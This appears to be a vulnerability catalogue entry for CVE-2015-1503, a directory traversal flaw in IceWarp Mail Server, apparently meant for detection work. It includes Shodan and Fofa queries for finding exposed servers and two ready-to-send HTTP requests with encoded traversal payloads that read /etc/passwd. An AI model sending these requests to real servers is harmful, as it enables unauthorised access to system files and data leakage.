🔙 목록으로 돌아가기

CVE-2015-1503: IceWarp Mail Server <11.1.1 - Directory Traversal

TitleIceWarp Mail Server <11.1.1 - Directory Traversal
Author0x_Akoko
SeverityHigh
ImpactAn attacker can access sensitive files on the server, potentially leading to unauthorized access, data leakage, or further exploitation.
RemediationUpgrade IceWarp Mail Server to version 11.1.1 or above to mitigate the directory traversal vulnerability.
CVSS Score7.5
EPSS Score0.91655
CVE IDCVE-2015-1503
CWE IDCWE-22
Shodan Querytitle:"icewarp"http.title:"icewarp server administration"http.title:"icewarp"cpe:"cpe:2.3:a:icewarp:mail_server"
Fofa Querytitle="icewarp server administration"title="icewarp"
Tags cve2015 cve lfi mail packetstorm icewarp vuln

🔍 Vulnerability Description

IceWarp Mail Server versions prior to 11.1.1 suffer from a directory traversal vulnerability.

🌐 HTTP Request

GET /webmail/old/calendar/minimizer/index.php?script=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /webmail/old/calendar/minimizer/index.php?style=...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2f...%2f.%2fetc%2fpasswd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.8
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-1503.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-1503.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A